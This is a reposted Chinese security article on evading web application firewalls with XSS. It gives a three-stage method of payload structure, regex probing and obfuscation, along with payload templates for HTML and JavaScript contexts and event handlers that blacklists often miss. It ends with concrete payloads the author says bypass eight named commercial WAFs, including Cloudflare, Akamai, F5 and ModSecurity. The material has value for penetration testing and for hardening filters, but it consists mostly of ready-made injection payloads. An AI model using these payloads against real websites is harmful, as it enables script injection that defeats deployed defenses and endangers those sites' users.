您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

巧妙绕过WAF的XSS技巧

时间:2020-07-07 17:01:43  来源:  作者:

巧妙绕过WAF的XSS技巧

本文提出了一种绕过XSS安全机制的新型方法,这种技术由三个阶段组成:确定Payload结构、探测和混淆处理。

首先,我们需要针对给定的上下文环境,确定各种不同的Payload结构以达到最优的测试效果。

接下来就是探测,这里涉及到根据目标所实现的安全机制来进行各种字符串测试,并分析目标的响应数据以便基于分析结果来做出安全假设。

最后,根据分析结果来判断是否要对Payload进行混淆处理或结构调整。

本文假设读者对XSS、htmlJAVAScript已经有了基本的了解。

全文使用{string}来代表Payload机制中的组件。

全文使用{?string}来代表可选组件。

全文使用“主要字符”这个名词代表Payload中必须包含的字符。

作者建议使用URL编码来处理Payload中不安全的字符,例如“+”和“&”等等。

在探测过程中,建议使用无害的字符串来代替{JavaScript}。

介绍

XSS是Web应用程序中常见的漏洞之一,网站管理员可以通过用户输入过滤、根据上下文转换输出数据、正确使用DOM、强制执行跨源资源共享(CORS)策略以及其他的安全策略来规避XSS漏洞。

尽管现在有很多预防XSS攻击的技术,但Web应用程序防火墙(WAF)或自定义数据过滤器是目前使用比较广泛的安全保护技术了,很多厂商都会利用这些技术来抵御新型的XSS攻击向量。

虽然WAF厂商仍在尝试引入机器学习技术,但基于正则表达式的字符串检测方法仍是目前最广泛使用的技术。

本文提出了一种构造XSS Payload的新型方法,这种方法构造出来的XSS Payload可以绕过基于正则表达式匹配的安全机制。

HTML上下文

当用户的输入数据映射在Web页面的HTML代码中时,这种场景就是我们所谓的HTML上下文。

HTML上下文可以根据用户输入在代码中的映射位置来进一步划分成:

1、 标签内:<inputtype=”text” value=”$input”>

2、 标签外:<span>Youentered $input</span>

 

标签外

在这种上下文场景中,主要字符“<”代表HTML标签的起始。根据HTML定义,标签名必须以字母作为开头,因此我们可以利用下面的规则来判断用来匹配标签名的正则表达式:

1、<svg – 如果通过,表明没有进行任何标签检测;

2、<dev – 如果无法通过,则为<[a-z]+;

3、x<dev – 如果通过,则为^<[a-z]+;

4、<dEv – 如果无法通过,则为<[a-zA-Z]+;

5、<d3V – 如果无法通过,则为<[a-zA-Z0-9]+;

6、<d|3v – 如果无法通过,则为<.+;

如果上述方式均无法探测成功,则说明目标站点部署的安全机制无法被绕过。

这种方式的假阳性率非常高,因此不鼓励使用。

如果上述探测方式有一个可行,那么可用来构造Payload的机制就非常多了。

Payload机制#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
找到{tag}的合适值之后,就需要猜测用于匹配标签和事件处理器间数据过滤器的正则表达式了。这一步可以使用下面的探测机制来实现:

1、<tag xxx – 如果无法通过,则为{space};

2、<tag%09xxx – 如果无法通过,则为[s];

3、<tag%09%09xxx – 如果无法通过,则为s+;

4、<tag/xxx – 如果无法通过,则为[s/]+;

5、<tag%0axxx- 如果无法通过,则为[sn]+;

6、<tag%0dxxx>- 如果无法通过,则为[snr+]+;

7、<tag/~/xxx – 如果无法通过,则为.*+;

这个组件(例如事件处理器)是Payload结构中最关键的部分。

通常,匹配它的是常规正则表达式(例如“onw+”)或黑名单(例如“on(load|click|error|show)”)。

第一个正则表达式非常严格,很难绕过,而基于黑名单的模式可以通过不常用的事件处理器来绕过。

安全机制的实现类型可以通过下面两种简单的方法来识别:

1、<tag{filler}onxxx – 如果无法通过,则为onw+。如果通过,则为on(load|click|error|show);

2、<tag{filler}onclick- 如果通过,则表明没有事件处理器检测正则表达式;

下面是一些防火墙黑名单中没标记的事件处理器:

onauxclickondblclickoncontextmenuonmouseleaveontouchcancel

常用的Payload结束符如下:

<payload><payload<payload{space}<payload//<payload%0a<payload%0d<payload%09

Payload机制#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
使用了<object>标签的Payload可以利用下面的Payload机制来构建:
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
Payload机制#3

这种Payload机制有两种形式:明文或混淆处理。

明文结构如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
混淆处理后的Payload结构如下:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
JavaScript上下文

Payload机制#1

{quote}{delimiter}{javascript}{delimiter}{quote}

可用的Payload有:

'^{javascript}^''*{javascript}*''+{javascript}+''/{javascript}/''%{javascript}%''|{javascript}|''<{javascript}<''>{javascript}>'

Payload机制#2

{quote}{delimiter}{javascript}//

可以使用下列Payload机制来构建Payload:

'<{javascript}//''|{javascript}//''^{javascript}//'

防火墙绕过

在研究过程中,总共绕过了八款WAF。

下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术:

WAF名称:Cloudflare

Payload:<a”/onclick=(confirm)()>click

绕过技术:非空格填充

WAF名称:wordfence

Payload:<a/href=javascript:alert()>click

绕过技术:数字字符编码

WAF名称:Barracuda

Payload:<a/href=Java%0a%0d%09script:alert()>click

绕过技术:数字字符编码

WAF名称:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:Comodo

Payload:<d3v/onauxclick=(((confirm)))“>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:ModSecurity

Payload:<details/open/ontoggle=alert()>

绕过技术:黑名单中缺少标签或事件处理器

WAF名称:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆

参考资料

HTML规范:https://www.w3.org/TR/html52/

数字字符引用:https://en.wikipedia.org/wiki/Numeric_character_reference

作者:AttackCTF

转载自:https://www.secpulse.com/archives/134608.html

 



Tags:XSS技巧   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
本文提出了一种绕过XSS安全机制的新型方法,这种技术由三个阶段组成:确定Payload结构、探测和混淆处理。首先,我们需要针对给定的上下文环境,确定各种不同的Payload结构以达到...【详细内容】
2020-07-07  Tags: XSS技巧  点击:(99)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(29)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(20)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross&mdash;Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(633)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
相关文章
    无相关信息
最新更新
栏目热门
栏目头条